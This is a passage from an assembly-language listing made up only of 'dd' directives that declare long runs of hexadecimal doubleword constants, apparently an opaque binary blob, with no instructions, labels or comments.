6B45F3Ch dd 0CC391400h, 0D485A922h, 615E023Bh, 29999D2Bh, 574C2555h dd 0BB1EF00Ah, 50725B52h, 492603BEh, 8E084DB3h, 0F5608608h dd 0CA136A66h, 0CA76117h, 0CFAC2C49h, 7942099Fh, 9EB64E07h dd 96B2C565h, 0FCB4E3C0h, 53603750h, 5B8008C8h, 9661C88Ah dd 15BD258Bh, 0DC56F40Ah, 0C9381546h, 89148C4Eh, 6AB58D4Ah dd 23766B3Eh, 4DD70416h, 0C9DFBC1Dh, 44CC79FCh, 0DD7C5946h dd 4BD7AC2Fh, 0F6BBAB84h, 2B6F36Ah, 0F0FDF46Ch, 7C06044h dd 40B10671h, 5A22CF02h, 0C67BE161h, 5895E7Ch, 1BF9BA7Bh dd 3A3B3B18h, 553C0425h, 80C172C7h, 8D111EDDh, 12446C99h dd 0B4F055E9h, 0C18B31F8h, 2F223D1Ch, 0F182B274h, 958DCF9h dd 6960ACE0h, 0E99E5160h, 0CBC9E440h, 0E1C1000Fh, 0B6452290h dd 7202B2DFh, 861F7020h, 1CBC243h, 3E25C284h, 330EDB3Ch dd 0AE7339BDh, 42F11A88h, 0C4281016h, 2F15BF02h, 425E49D6h dd 0C055ED27h, 0D245C6F1h, 0DC398402h, 5694E918h, 46501797h dd 33028820h, 2861602Eh, 0C11EE420h, 0C236B8B6h, 87B797FFh dd 82A7F20Fh, 5E33A6E5h, 1946DC7Fh, 0BF55027Ah, 29202857h dd 0D34913E2h, 0BCC22D6Ah, 21E62DF0h, 0B25AB2A4h, 9E007698h dd 3C96B4EFh, 4EE1E29h, 5C45F0E4h, 964813Ah, 0FF93B1Ch dd 80AE092h, 91DD294Bh, 8B6A2Bh, 4F1C5093h, 5FFF7720h dd 8B89DBD1h, 9E1A1874h, 6E9903D3h, 0CEC7917Fh, 893CC080h dd 5FB854Bh, 81605B60h, 2334120h, 51A85E61h, 1DC80FA1h dd 1F406DC7h, 9BFA773h, 0D3B03349h, 0D0B16A9h, 8D011F40h dd 6A830D62h, 0E08D6D02h, 0BB6ECE6Dh, 0B11C2002h, 7A8D0F14h dd 40398CBh, 8A507741h, 0ED7194FCh, 9F7B8B5h, 290F435Dh dd 2C453B82h, 511A3A5Dh, 0F740005Fh, 0CD8E1285h, 92E67F3Eh dd 0CBF20DCAh, 3AA32C9h, 8C05DEBBh, 8571C8C0h, 1D1619ACh dd 0AF96FFDh, 0C8D7180Ah, 2CC8BD12h, 36A25DFh, 6D95CFE6h dd 20CCC034h, 87010E0Ah, 1830D41Ch, 162F60DDh, 0FDE80415h dd 90610132h, 0C93067B3h, 0AC203CBFh, 0F76E4Bh, 6787AF36h dd 981DCA3Bh, 30412FBEh, 6056EA2h, 1027B09h, 0E81DDBFh dd 7D9B2E13h, 6FC11688h, 0A24050BDh, 4EC9B5CFh, 0C8219A05h dd 7885C019h, 472848FFh, 0B71E9181h, 1496A1Dh, 9740FA9Dh dd 18112284h, 9DF6C624h, 14120031h, 710D30ACh, 6A8EB043h dd 0F2D74A20h, 0B1EC0002h, 8C085FEAh, 430703D8h, 984F2455h dd 8770E6A2h, 8D1ABh, 71E45DB7h, 47E894BBh, 0EFD21C4Bh dd 0BD8920DBh, 5C821F05h, 273728EDh, 315D03FDh, 0EF100E40h dd 9E005CC9h, 2594A8F9h, 163B98FCh, 17A66BA5h, 291E035Dh dd 12FC4DBDh, 4BBFFCE4h, 4F9C4DAh, 0BA2DB1F7h, 0C5826127h dd 8EF65E2Fh, 9D758D31h, 0E9B6B306h, 30C7F83h, 2B05C1BDh dd 88084E85h, 79BE5D53h, 0AB218396h, 1F2F5B51h, 0A59504FBh dd 2B23510h, 0B97EE100h, 6F154FB7h, 5B4B5404h, 9E98BFAh dd 4EE93340h, 6096893Fh, 0FF698D63h, 11F87103h, 1F60582Dh dd 0A55439F3h, 0E8FE2913h, 0C4B5F480h, 0DD01ADh, 2A9E2F4Eh dd 0EE264AA0h, 0C2B0BC24h, 0B7763D20h, 8504309Dh, 7996843Bh dd 3A3625D4h, 0BB819C79h, 7138C8E8h, 0E080B68Dh, 826E7E58h dd 0D3862F0Fh, 5DF682DCh, 73770C73h, 181751EAh, 0F47102E9h dd 4D8D89BBh, 5282B374h, 0D6114FB9h, 8809F447h, 9DDC133h dd 959B729Bh, 0ED02DC44h, 5D0C4D34h, 17461Ah, 6EC387DBh dd 1B141801h, 2DE1D404h, 7BBB5B2Ah, 4BEC021Fh, 7C952933h dd 96FC993Eh, 0A2092F31h, 0C5C77DB8h, 0F4601BC4h, 1205E2B1h dd 8C395415h, 494B95C1h, 25BA209Ch, 0FBBDFDh, 77B368BFh dd 0AA1303B1h, 63A3CE62h, 5ABC8ED1h, 444AAB2Dh, 4EB000FAh dd 0F586F9A4h, 39059396h, 9065B101h, 53D2B997h, 3B71755Fh dd 9AAFFC13h, 0A526C038h, 0EB28E8h, 1ED3D5E9h, 7DDB8090h dd 11AD359Dh, 0F6708A14h, 4E2E350Bh, 0A518C462h, 0A3F25224h dd 819D107Ch, 3A66F905h, 0F1E602B7h, 0DC2BD6h, 725B0330h dd 2776D22Fh, 61256198h, 0C43ED926h, 0CB81403Dh, 0E5771110h dd 91D81360h, 0D578A576h, 7E9C0E4Eh, 639EF0Fh, 8E45027h dd 0F710E50Ch, 23CE55h, 0C29E97C6h, 0D0CF805Bh, 52E1FF31h dd 383A03C5h, 0F3CCF65Ch, 970D6E89h, 0FE0B1167h, 896C03h dd 2BC52750h, 138F9699h, 448A324Eh, 2A2EAD28h, 0B085C19Dh dd 0E2884AB8h, 0EEB7804Ch, 0FE42B903h, 2A0A9DC8h, 0B000DECEh dd 0C727222Ah, 5C077F34h, 5D3F4049h, 92284CEh, 3D2F8B9h dd 80012D45h, 0CB2B2E59h, 38A64E1Ah, 0CB7060A1h, 17F95411h dd 0EC5D5476h, 20149061h, 989713EDh, 49BD0B06h, 80038B2Dh dd 5250AFE7h, 0BF36045Bh, 0D6C79808h, 0BBF7B40Ch, 7D976509h dd 9AEDDD5Bh, 34F42CE0h, 64DEA20Ah, 23CA1C4h, 2EFA8B11h dd 0FC3A3529h, 51C880D5h, 129A55B1h, 187715Ah, 0E6C640BDh dd 0D4C32F2Fh, 997D96D9h, 0B4A3803Bh, 0E95736BAh, 28B5B38h dd 0DF917FBFh, 99F26422h, 0FB9D8047h, 8B2FE106h, 8DEB9C00h dd 5882BD01h, 75B52E29h, 0B95BA5EEh, 6A181559h, 1FCF404h dd 42D78D95h, 0A989A96Eh, 0A42E7954h, 0A175274Eh, 0B4E95FE7h dd 4BB72B24h, 3AF9CDE0h, 7B25606Eh, 9D0400DBh, 2B3905E5h dd 1E81B1DAh, 0F8A5CAF3h, 0C8C926E3h, 42F579A1h, 25C8F0Fh dd 702F962h, 0FDDBB989h, 1967C70h, 0A5AD6054h, 2184E62Dh dd 0FBD582Fh, 8264875Fh, 962DDFB8h, 0F5007FE4h, 0F651A705h dd 1C42FEEAh, 0C0FF7DE7h, 7430A050h, 432EA2D9h, 0B60BF22Ah dd 4880F8BAh, 0FBC46989h, 8D6EAE96h, 0E6161C00h, 95DDFEBFh dd 6A1C613h, 0C55690AFh, 3C016822h, 25F8893Bh, 0CCC0EA98h dd 0AD81017Bh, 1CB3F9BCh, 45B9425Fh, 0B557F94Ah, 801A91C7h dd 67125478h, 0EE7739Ch, 0C1875568h, 12808129h, 3E5D7CAAh dd 41B58909h, 0A5CC7B0Dh, 0C02FB682h, 19110656h, 0E2106025h dd 0FF01D1ACh, 21D3A6EBh, 388083BFh, 725F940Ah, 0F04B8B6Bh dd 920BCAD5h, 760929C9h, 1A46D6B1h, 9F890800h, 5BAB71B6h dd 15BB5200h, 5F2621E9h dd 6A2AAD61h, 0D453010Eh, 20B6C2D9h, 8D9C916Dh, 89BBC525h dd 9871FE8Ah, 0A7EA3A44h, 0C785A018h, 0D6620222h, 8E99B38Ah dd 64018AC6h, 11AD14EAh, 20F1619Bh, 0DBFC206Eh, 9D9791D7h dd 7B4DD2A4h, 0D6A94164h, 3207DAB8h, 8485D9F1h, 544AEA62h dd 6A1940D0h, 0A001B5B8h, 4FB926EFh, 842F20E7h, 454EC522h dd 0CA1BF1C8h, 9D834B84h, 0F67BA5D5h, 0FBFF6100h, 6E458A38h dd 2BC47302h, 5D08259Dh, 9E61731Ch, 0D9B53161h, 9A2AC535h dd 0C01AC825h, 637ECBD2h, 564EB212h, 0A64B9FF7h, 3708A0D9h dd 0FB0F7F07h, 1BB78114h, 1D303BADh, 4AD59D0Bh, 4BC7F70Ch dd 821665B0h, 0DCE9825Ch, 0C702D4E1h, 13995BBFh, 0ACAC907h dd 66575000h, 8825F0FCh, 0E995615Fh, 0C87D4E43h, 563E81FAh dd 0F825B061h, 602D5AE6h, 0DF8968E8h, 8F67009Bh, 7A86D45Ah dd 43B8CE59h, 64B07F9Eh, 9704D18Dh, 100DCBC9h, 0A19A02h dd 0A97D4192h, 0CE424F6Eh, 8B98152Ah, 60444F97h, 0A1AEEA46h dd 0F70ADE76h, 0C6702A0Eh, 7422BE09h, 0A1CDE977h, 8BD1AB42h dd 5A75EBAAh, 0B89B940Ch, 0F781C081h, 5B60DC67h, 0BF95D819h dd 0BBB55F07h, 0E24DF71h, 290441BCh, 0BC083D9Dh, 0B7A6921Fh dd 0BF58D6E2h, 35DC324Bh, 129A97F5h, 826FD0FEh, 22AB5BDh dd 9E51CFB7h, 201818D9h, 52532809h, 0AC7850A4h, 54A79824h dd 208D3A88h, 5F5A2475h, 2622E88h, 0D6206886h, 0C5C011B8h dd 0EC25568Ch, 1217EC29h, 565019B7h, 0E4538962h, 1C0354A2h dd 90560913h, 1E1B7C1h, 464912B8h, 0F82CC301h, 569B302Eh dd 0E134BD03h, 84AC9528h, 0B2B56A2h, 85990AC4h, 5269360h dd 9D6B01EAh, 0F98C3707h, 0F7122A5Fh, 36A0D88h, 323F68DBh dd 55E84A64h, 0F013FC3Dh, 0AD0CB5ADh, 4E7D9831h, 9B2DC48Dh dd 0D513DF45h, 0ECBA3F44h, 19AC76B9h, 0FD21028Ch, 0A79B1F1Bh dd 14312E41h, 858EAFADh, 0C6DD0F29h, 0C4C2000Bh, 51938E40h dd 8A0AA06Ah, 4A72C9DDh, 66A5A648h, 68E497A5h, 0FCADC100h dd 53A458C0h, 0B28897EEh, 0E25B92D0h, 4F7C8BB8h, 899B6095h dd 0BE090C18h, 73958815h, 526DADD5h, 0F0A96343h, 0BD375DCh dd 0B526433Eh, 85956B50h, 0FAAC60CCh, 0E317D883h, 176340F2h dd 5804278Ah, 85328Ch, 0C70E4A98h, 0FA8F07E5h, 2F80572Eh dd 0B7615E02h, 58EE5C79h, 0E9E4DF80h, 0FFF3AF1Ch, 54B765h dd 0E1F626A2h, 0CB04353Fh, 0C18B5C6Bh, 0AC0509Bh, 8C0FCB6Ah dd 29190660h, 9733358Dh, 124009BAh, 90810C01h, 0B71CA460h dd 267FF2B8h, 0F915C900h, 84DC6535h, 14D10113h, 0B5E88862h dd 85AB24D0h, 505B6B0Eh, 0B7906B51h, 1FD38E1Ah, 2F90667h dd 0D0CF6A05h, 6FA2DC44h, 0EF020F74h, 0BBADE828h, 0F54FCC50h dd 7145D34Ah, 8B01EE64h, 939D499h, 33B87979h, 7807BC27h dd 0A3315288h, 0E0ECC380h, 44001BA4h, 25BFF389h, 23D0BB5h dd 0D4ECB82h, 6381E9F5h, 60D99924h, 4707F458h, 0D59B258Dh dd 32E7C180h, 399409BCh, 0A282104Ch, 0E4CD05C0h, 30D387E1h dd 0B6C94F8h, 0BB236411h, 31FDF461h, 0E3AE21EEh, 315EF0D1h dd 0C4692C9Eh, 45EFE4B7h, 12D98B7Fh, 0C0B2A8F9h, 88B654ACh dd 0FFFC9FFCh, 0C68204DEh, 90B29190h, 0F9BF0FEAh, 9EFDEE95h dd 2F00D4DDh, 0B2FFE26Ch, 5F8FAD52h, 20081220h, 0CF195B5h dd 76BA0DD0h, 270E4E97h, 0C10B850Fh, 360077E6h, 0E89D123Ah dd 201D770h, 2CAAEDA7h, 0EBECD1FFh, 80BBA13Eh, 5B3C8876h dd 974BFE85h, 3EFA710h, 0E00483FAh, 5AC74355h, 54125DACh dd 0C85CF274h, 9AEA6B6h, 2F79078Dh, 4345EDA5h, 0B8C8074Fh dd 505A9B7Ah, 0CC8520AEh, 0AF74B5E1h, 7B8EF800h, 0BB13872Bh dd 7A2C0940h, 18225A55h, 0B874FE8Bh, 5AB4E225h, 82379DD3h dd 66368E0Eh, 62A8FFCFh, 0F8D86065h, 7DBE55ECh, 25A209DCh dd 0BB185DBAh, 7A0046CDh, 0A36E7519h, 1712E7Bh, 0C4DFF833h dd 3079A00Fh, 0E9F21804h, 71CE224Bh, 0A722A326h, 7B00F637h dd 3EB8ABEh, 6B5C0BA4h, 6064EDBFh, 0C7936400h, 809A4050h dd 5F712AF7h, 283795B8h, 2252B709h, 5D1B817Eh, 9DE34D3Bh dd 38DD1DEAh, 11B82BBh, 0FE39468Ah, 0F4450697h, 7900F64Eh dd 3E140D67h, 9790509Eh, 0BC1F24B7h, 0F5E203D7h, 3202B000h dd 1DAD6849h, 0E58AD800h, 0D4193BACh, 0CB2B259Fh, 81826DD3h dd 5E30A7F3h, 0DE57C66Bh, 4D099D4Bh, 9F4F795Bh, 83411233h dd 6DB22352h, 0FF96A956h, 0BE80D4B3h, 0AC19E3ADh, 0D4980F0Bh dd 15B9824Ch, 60484F0Dh, 3EFEAEF1h, 412DF5B8h, 44D7D133h dd 0F56040E1h, 0B6CDB58Bh, 0B0610ECFh, 598D3101h, 0B5E93E23h dd 0D21BD08h, 45868947h, 57259721h, 0E79B30B8h, 8B9733EEh dd 210C0656h, 0F0BDF45Fh, 5CB3971Eh, 5FC5A634h, 25783AF8h dd 4CE40A65h, 59953117h, 0BC3E47F5h, 315587Fh, 0C82B12A6h dd 66D1E2FCh, 0FECD03A0h, 764C57C3h, 0DCDC8AD9h, 64ECFD6Dh dd 0CB8023C0h, 32BD2371h, 855B2BCDh, 0B3894656h, 0F64A7881h dd 120ADCDFh, 1036F4F9h, 54BD0188h, 53E9F199h, 0CF098137h dd 3E79FB59h, 410B06A6h, 0C5B4742Eh, 4034BB1Dh, 59343B9h dd 8904ED19h, 8B4E0125h, 34652FDEh, 73391B0Bh, 61EC7815h dd 89290B3Ah, 544C4EA8h, 0D273276Eh, 8D717772h, 709F826h dd 0A52D7BFDh, 8740F14Dh, 0FCB833B1h, 8580AD4h, 61F6558Fh dd 0F816DAE8h, 6C00E41Ah, 0BF739741h, 4EBD29A5h, 0B9E50455h dd 2AEDB18Ah, 0AD81AEDBh, 2FD7A44Ch, 94F11F12h, 702953D2h dd 0B5260162h, 73A51905h, 8E38523Eh, 10000C8Ah, 95B34634h dd 9719E8FCh, 0E3711692h, 6199DC00h, 79FD76Eh, 0C8933734h dd 0BB74152Ah, 0E4D8186Ch, 8331F987h, 30BBACE3h, 8F1FDFE4h dd 0A1F246B7h, 0F9022E87h, 0B727A479h, 0C9F680FBh, 75201DC5h dd 0B38C3F4Bh, 0FD309BFh, 0B27103AAh, 39D97F7Ah, 48BCF7F8h dd 0BD27786Bh, 0EEB35BF2h, 16966525h, 0B2BDE74Dh, 1619DF42h dd 650F478Dh, 1B8B81h, 9DA11F41h, 25D573B5h, 0BDC645A5h dd 1120BA90h, 0E1FF242Dh, 0AD409C5h, 4142A671h, 0A9A42F04h dd 4B493C21h, 0A0A2B704h, 6158BD27h, 1AFB947Bh, 0C9673151h dd 0B1597807h, 0E215DC86h, 0C00D1FE1h, 394F2B80h, 397BF305h dd 0CF02F5DEh, 60CE21E0h, 52E0C54Dh, 54BD2B53h, 5F964Dh dd 0C07020BFh, 51F96073h, 5A08B509h, 98EF7061h, 2895258Ch dd 928EF79h, 0BBE0F49Dh, 0F34AA53Dh, 18316D9h, 13E8D6EDh dd 9EE697h, 0CFA94BBFh, 1DB58928h, 0FD9B264Bh, 40C01DC8h dd 0F421761h, 0ED86A146h, 0F75E8149h, 50517BEBh, 909D9095h dd 0A21507h, 68B674A7h, 0FF735770h, 13ACDD09h, 1567C60h dd 612122BEh, 62036A5Fh, 0FF90D9C5h, 0C12AB9D1h, 0AAE9BA70h dd 979EF8BEh, 630080B7h, 980E95D5h, 0B140318Dh, 2FBA766Ch dd 976F1329h, 0F492CD3h, 0E40A8F2Fh, 729B736h, 585AC883h dd 0DD320DA7h, 0E4FF1489h, 0A0194BDh, 2317184Ah, 32F897BCh dd 0BBB1008Bh, 60C4DFFDh, 0BF04585Fh, 1AD8D7EDh, 0E6973EACh dd 318AF0DBh, 0AE6F0B4Fh, 2682868Ch, 0A40C2D05h, 9F85F2DFh dd 6FC0F06Fh, 10091A7Bh, 120E7595h, 78569FE9h, 16609313h dd 97C02BEFh, 224A2C9Bh, 0D161BE3h, 0D31CED23h, 2B63C8FAh dd 0ECC87500h, 5B53A8B7h, 5A83FF5Fh, 61E593E9h, 0D32DBC8Ch dd 0C194DABFh, 0B051D9A5h, 4E08C031h, 8A014085h, 27A7D94Bh dd 19E2CD42h, 39AE9830h dd 8F85F0A7h, 4820890Fh, 0B7801277h, 3EC5E0D3h, 4004005Dh dd 0E9116BCEh, 0F4059383h, 5E444C4Dh, 27CD24C1h, 6896100h dd 0E65AEC4h, 0F55A0DCAh, 3EB9FDFCh, 0B2B46BD4h, 0E2F682DEh dd 23F9FB40h, 29E21CBEh, 0B1A68034h, 0E0D0DE1Ch, 3C77D800h dd 9DBFD538h, 5A2F1741h, 3482A05Fh, 0C038245Ch, 9AAACB8Eh dd 4E4B00B9h, 0C31DA68Dh, 9297B7BCh, 412E4F1Ah, 0FCB868DEh dd 4695DD74h, 0FECEC93Ch, 470B1D78h, 4D22AAFFh, 4A58C018h dd 755B0DCEh, 0B1F0FB20h, 24DB2626h, 48021105h, 8D5B0B03h dd 2593CC85h, 0D8445350h, 5E099DE0h, 0F410B9D1h, 0DD8A8963h dd 11FCF432h, 61AD3D07h, 36A4DB50h, 8B494B7Ah, 0A2FC2CECh dd 88526513h, 0E985F1B6h, 0E2B4E350h, 0A1013019h, 0B5A70B7h dd 918D2933h, 0BFA89D7Eh, 0B655BE0Fh, 0F2ED890Bh, 8E5B4B14h dd 0DA6BE9F1h, 0B6A68004h, 9F71D8FAh, 0A8F86890h, 315DAD00h dd 51ECA2B8h, 9B7F4E8Dh, 31A38087h, 2DDAFD86h, 0C2C1B989h dd 0ED382E0Ch, 263E8BCAh, 0F705C88Dh, 7AFF0364h, 5B9F02D6h dd 5462D5DEh, 0D1FBE2C9h, 54E9C55Ch, 0DD01D4CBh, 9D971BF5h dd 58892D9Bh, 2C717F53h, 0F1892FBCh, 0E35F1235h, 2DF24EB9h dd 508A8282h, 25A159D5h, 280B0B70h, 663AD776h, 11599127h dd 0D7257C13h, 3920DEB1h, 7674E780h, 0A8B9F941h, 55425405h dd 846208ADh, 11BA57FCh, 24BEB557h, 20410454h, 0ACA7B969h dd 53168C15h, 5F6450EDh, 5BE531EFh, 2975F631h, 0AEAF5B88h dd 0E000D41Ch, 5D83F32Dh, 254893B7h, 0EF64F81Bh, 0AF174400h dd 5BA2C1DEh, 0EEA30273h, 30E71FD7h, 8269BE5Ch, 32B294Ah dd 0E1C406B7h, 0CB9E7F1Ch, 0AAEC2D80h, 0EF0E6D95h, 20600C0Dh dd 2ABAF08Bh, 483FE41Ch, 0BD082B61h, 581E0519h, 2526D26Dh dd 0EAC2D8BFh, 22126CD4h, 0FB7ECEE7h, 853481DDh, 0D51A975Fh dd 0BDD0ADC3h, 14FF0F71h, 0ECB8C8FDh, 85365249h, 55E3E7B3h dd 12F76027h, 6D1E8566h, 4962ED27h, 9661020Bh, 0B71C7146h dd 0FEA34Ah, 2D9A06C2h, 1993FD5h, 0C8C7CB2h, 2AB3B9F2h dd 0AAA7EB83h, 7003D396h, 9E0A0345h, 0F0A20F56h, 0A845517h dd 806B2AAEh, 4182A327h, 0A657094Dh, 8662F607h, 0C6257356h dd 0B1525011h, 32769F85h, 1011C525h, 0F58B8957h, 0D30202EEh dd 0B7A77BBAh, 8A0457FDh, 3E0FEE2Fh, 35F912FBh, 0E804C5B8h dd 0F950D648h, 0A29E13AAh, 2E4600F4h, 0F26C1F56h, 525E0D9h dd 529341D0h, 0D8AAB0E4h, 0CC5B7225h, 0DBBF25C8h, 0F94AEEC6h dd 18B262F6h, 1C4BB30h, 53400D5Bh, 52B1BD0Bh, 0FD5C5FA1h dd 0C4696D69h, 0A205BCF6h, 7ABDDD59h, 2855D8ADh, 25F7F5DEh dd 0DD730D19h, 0C670EAAAh, 0E129CDB5h, 66890F75h, 0ACF30935h dd 6CE2711Ah, 0E91DFF6Eh, 0DE3AF403h, 0C225BC2h, 1B4495A2h dd 0F3B7B5C1h, 0F1016809h, 0CA44A705h, 84F7F55Ah, 7936A5Fh dd 0CCDB8E98h, 0FA91E8E0h, 0D2BD7201h, 57E4A0C1h, 44409095h dd 0AE0E0053h, 30B172FDh, 5B71F0FFh, 5175B4B0h, 0FA9A8282h dd 2537F590h, 17F02680h, 5B00DCBh, 509A75ADh, 6223AA29h dd 0CA5A405Fh, 7F5E1D1Eh, 0A3F7830Eh, 1CB6C968h, 0B930605Bh dd 5056F580h, 2DCB9661h, 637A39E3h, 615D080h, 9BB5080h dd 55ACBC28h, 0BD792157h, 0AE49326Dh, 92251030h, 0C33D9DBCh dd 2205403h, 0E4C5AD42h, 0E62ABBE5h, 3115B24Eh, 3E32A876h dd 125EC4B7h, 30174EEFh, 471F771Eh, 0C0FA0E12h, 810E4AE3h dd 8A0198DBh, 3DD1FF04h, 192B810h, 2953C072h, 9F31DD85h dd 0E8725B86h, 95B9D21Dh, 0A54B4394h, 19B075A7h, 6E396DDAh dd 5695898Bh, 1E60042Bh, 0F5026A01h, 6EF9F990h, 0B0DEB8Ch dd 7EF37237h, 906B5CD1h, 38A7F5h, 3B931896h, 0A4D37B16h dd 5F28AC62h, 70B15B90h, 0DA0B0D25h, 44EFACF9h, 0BB4B9F18h dd 8A1FC4D0h, 0CE0FB207h, 234DE978h, 0BD52FDDCh, 881E99ECh dd 17893F84h, 0C2B05C5Fh, 325C0F69h, 95E3D558h, 1F40A3CFh dd 171A446h, 4E1CBB29h, 6A515019h, 2CA89012h, 0CDDB5F2Fh dd 0A0D78373h, 25C1F646h, 0A573150Ah, 3DD35A5h, 0F8C69AE9h dd 2B63C78Ch, 1826E902h, 0CDCBFA56h, 0EA72CB16h, 0CC6CB725h dd 0B3601316h, 0D21D130Ch, 185C61BFh, 4077D469h, 4CF2282h dd 0E70E2A01h, 0D82BDEB9h, 6AF13FC5h, 0A9074223h, 47942C31h dd 0E457A397h, 6A5B62E8h, 0EBB3FF17h, 12390002h, 90B7FD35h dd 0CEEE6881h, 612E11B7h, 77012B1Ah, 3BAB0092h, 4D3DECCEh dd 2680E0B0h, 8A394F3h, 0E60A23A9h, 9602B570h, 4071E442h dd 972EE1C7h, 2FFF1D19h, 53DDDCh, 0AFF509C0h, 9A2D518Ch dd 0B7040204h, 2BB85FDDh, 591D5460h, 0C695B9B3h, 11218081h dd 0DF3300DEh, 20EAB8A9h, 785882F8h, 8884BBAh, 0AEC008Dh dd 46141552h, 0D43CA993h, 45D387EFh, 7009995Dh, 0DE8A253Fh dd 0EB8139C0h, 1851F609h, 0C03B7057h, 17B3BC12h, 0D15B8B56h dd 901C6B36h, 357C3F29h, 875989A7h, 84E95F05h, 4ED31300h dd 0B858B30Ah, 0A543B65Bh, 14FA3F69h, 991230ECh, 0B43E4E4h dd 0E93598BDh, 0FA08A95Bh, 333E342Eh, 8D0388Ch, 0D023D2Ch dd 2AA296E2h, 44485CBCh, 5D8F2239h, 64120598h, 854F3897h dd 410542E5h, 510C8B17h, 2F5329h, 0AABD9910h, 0CF02A91Ch dd 3D95FA85h, 0C2645CBCh, 0B5125C5Eh, 299181C3h, 0AF89CDD9h dd 5B62C34Ch, 5066E4Ah, 0FC786CCDh, 80B865AFh, 0B96DA02Dh dd 5ADDA449h, 16456BEAh, 1C05CBDEh, 90819D9Eh, 0AC04048Dh dd 0A3F64B30h, 413DB7E7h, 6E0D9529h, 5AB2CD4h, 0AF26C150h dd 1C23B56Eh, 27DD360Eh, 0AB7178B2h, 207EF982h, 0F318F66Ch dd 8BB39C0Fh, 0AEC0C0F0h, 7EB7341Fh, 196B0660h, 90ECAB64h dd 0A110B931h, 0DB2AD22Bh, 0D83589CEh, 2B2D412Bh, 8160623Dh dd 0DE225BCDh, 69D08422h, 11648Ch, 0FB6A5A2Dh, 29392BA5h dd 0D0E6F104h, 0A7FF880Dh, 5B82A0D1h, 886C4F93h, 0B8075CDEh dd 0CE4F2AA7h, 8CF3D954h, 1C05FA62h, 0D73F3A57h, 1664DC17h dd 39BF5760h, 2DD278DCh, 4552888h, 79853124h, 0E38BB827h dd 7ABB857Eh, 0B50C124Dh, 112102B1h, 35E882D6h, 800F030Dh dd 61712D70h, 91F3B84Ah, 9E3018F2h, 4B13FED9h, 78A68D71h dd 39F08069h, 171E70h, 9E5D6819h, 97E25488h, 0C4E1FF2Dh dd 87E30085h, 48A94F9Bh, 2EE35B41h, 4014BC28h, 9D102905h dd 600125EDh, 0D78A5856h, 0C2282E61h, 38054D16h, 8904D0ECh dd 97871FB7h, 720F22A2h, 16A1E198h, 3FB471A9h, 0B2D27BECh dd 49E84CDh, 8D295201h, 5F8B3475h, 0DCF6605Ah, 2A09FEE4h dd 9DAF708Eh, 0A104F3B7h, 0C7B8628Eh, 81039B4Bh, 0DD9D33ECh dd 2C4942Ch, 22E2B930h, 12BF76D1h, 0A30DD320h, 126848ADh dd 8CB91B69h, 0F5EF80C0h, 5C27B390h, 0F8991350h, 5E123EAh dd 0EF673BA2h, 2A05BEC7h, 1340905Fh, 81C8F031h, 865405FCh dd 824108FAh, 0C8ABD96Ch, 0EADBF80Bh, 18AEA78h, 37C0419Fh dd 2E30954Fh, 9F607E28h, 70F2D390h, 8C3BD100h, 1A27FFBDh dd 0F63C5AE5h, 8060249Ch, 0F79C5760h, 424F241h, 5658FAB0h dd 50D1825Eh, 0B900A746h, 9DEB8C09h, 3C7E587h, 0B8D4E4C2h dd 0B75A8B6Fh, 168BCC8h, 0B1C439DCh, 0AD8B6A52h, 9F6B10F6h dd 2BFE0065h, 40DE0CB8h, 0F3C0D18h, 45FF8E53h, 111B62C1h dd 588B915Bh, 0BAB8D52Dh, 0FBD54100h, 9D31081Eh, 0B20B4A01h dd 0AC6BD314h, 0ED8D9F00h dd 0C55174C8h, 53E7D509h, 0E9ED8260h, 0F8436E10h, 6CAD0171h dd 4D0EB058h, 4E83CCCEh, 0E461F531h, 227D6F85h, 75C3EECh dd 0D36700F9h, 40E95F57h, 0FEFBD02h, 0E2AD3740h, 2451CF6h dd 98C597B5h, 0B2BCBD5Ch, 0A6A28997h, 14E95608h, 0A0F1B68Fh dd 0FBE19AC2h, 0F7F4Ah, 16361B0Eh, 0AF902448h, 5F7A3112h dd 132D30F5h, 290003E8h, 0BF9A33ABh, 5AA6202Eh, 0E3E91227h dd 895E794Ch, 8D4B4DF6h, 458E203Eh, 3EA2105Bh, 0A0C1F6D6h dd 0BC6EC678h, 768C0201h, 627E0689h, 7B2A0BDCh, 0E30E71B7h dd 127B2529h, 86CB64B0h, 9819865h, 100BF413h, 3E901D78h dd 969CE89Fh, 1D8107BFh, 63505FB5h, 52ABBC16h, 0F985E1E7h dd 0DCB2B27h, 8061DA4Bh, 1B3EDB50h, 5BA80046h, 1DEB70Fh dd 6B9E699Dh, 0C9F96800h, 9BF902Ah, 4E3CA8CEh, 609FE70h dd 0FB6FF43Ah, 0F463713Ch, 9701B4FEh, 0B5892A6Ch, 9B6E0D3Dh dd 0C019C809h, 1FE1B16h, 0B78E0828h, 602A3409h, 12F1762Ch dd 82358850h, 520D2D02h, 5D8119AEh, 46D03892h, 0EC937B7h dd 4C636D21h, 0D8161FE2h, 89FB2C51h, 2A6425C7h, 0B2A0D1A7h dd 0EF133886h, 0E788F56Eh, 58E30076h, 77B49EB1h, 1DE0A178h dd 452E5598h, 384E212Eh, 180D386h, 516175C4h, 2DC99D89h dd 88F57965h, 923C112h, 0CA7C810Fh, 401EC50h, 0FD8765EEh dd 0B39DBC91h, 0A44258Bh, 582797C7h, 805CB70Ch, 0E9B518DCh dd 0BD891327h, 0B6A0EB96h, 9717A120h, 4A728F1Dh, 214D5D7Ah dd 84D123C0h, 9360E776h, 292440B5h, 114BC5EAh, 0C01066CEh dd 0DBA74B04h, 0D521F514h, 1E04A7F1h, 995E90CCh, 32A61F5Ah dd 1F3015F2h, 0F6F54A63h, 3315B24Dh, 9B7E89DAh, 0F8523F40h dd 0F7ADA024h, 13BA003Bh, 1E1B68Fh, 2341C985h, 0BAA3853Ah dd 806728h, 1EC87784h, 5C71C17Fh, 2B12A67Eh, 36F3B428h dd 296E4Ah, 0B27C78ECh, 1201E821h, 0BD047DBDh, 8504D389h dd 0B1172DD5h, 0EE043EEEh, 18F90AE0h, 0F3327CC1h, 47EDCCBEh dd 85D22C02h, 0B7E321CFh, 801A11CFh, 0E783DD74h, 25CCE654h dd 0DCEDDF8Bh, 0E9601764h, 9556878Dh, 0B35604A5h, 9AAE5B3Eh dd 0C016C8D4h, 33AAEF5h, 10A59D12h, 4D258BDh, 4168D28h dd 0EF3FE8Bh, 5528013Fh, 0A1BD2A0Eh, 700997C0h, 0B0AC89B7h dd 0C073AA80h, 97DC8A69h, 0FA7B9189h, 63C8DB70h, 0EF397402h dd 1069A412h, 0E462B3F7h, 1E44035Dh, 0B4CDFB4Bh, 0AD00847Fh dd 0F96F4B45h, 1E80E302h, 2DC23327h, 65958764h, 583D50C3h dd 38B3FB00h, 0B5853112h, 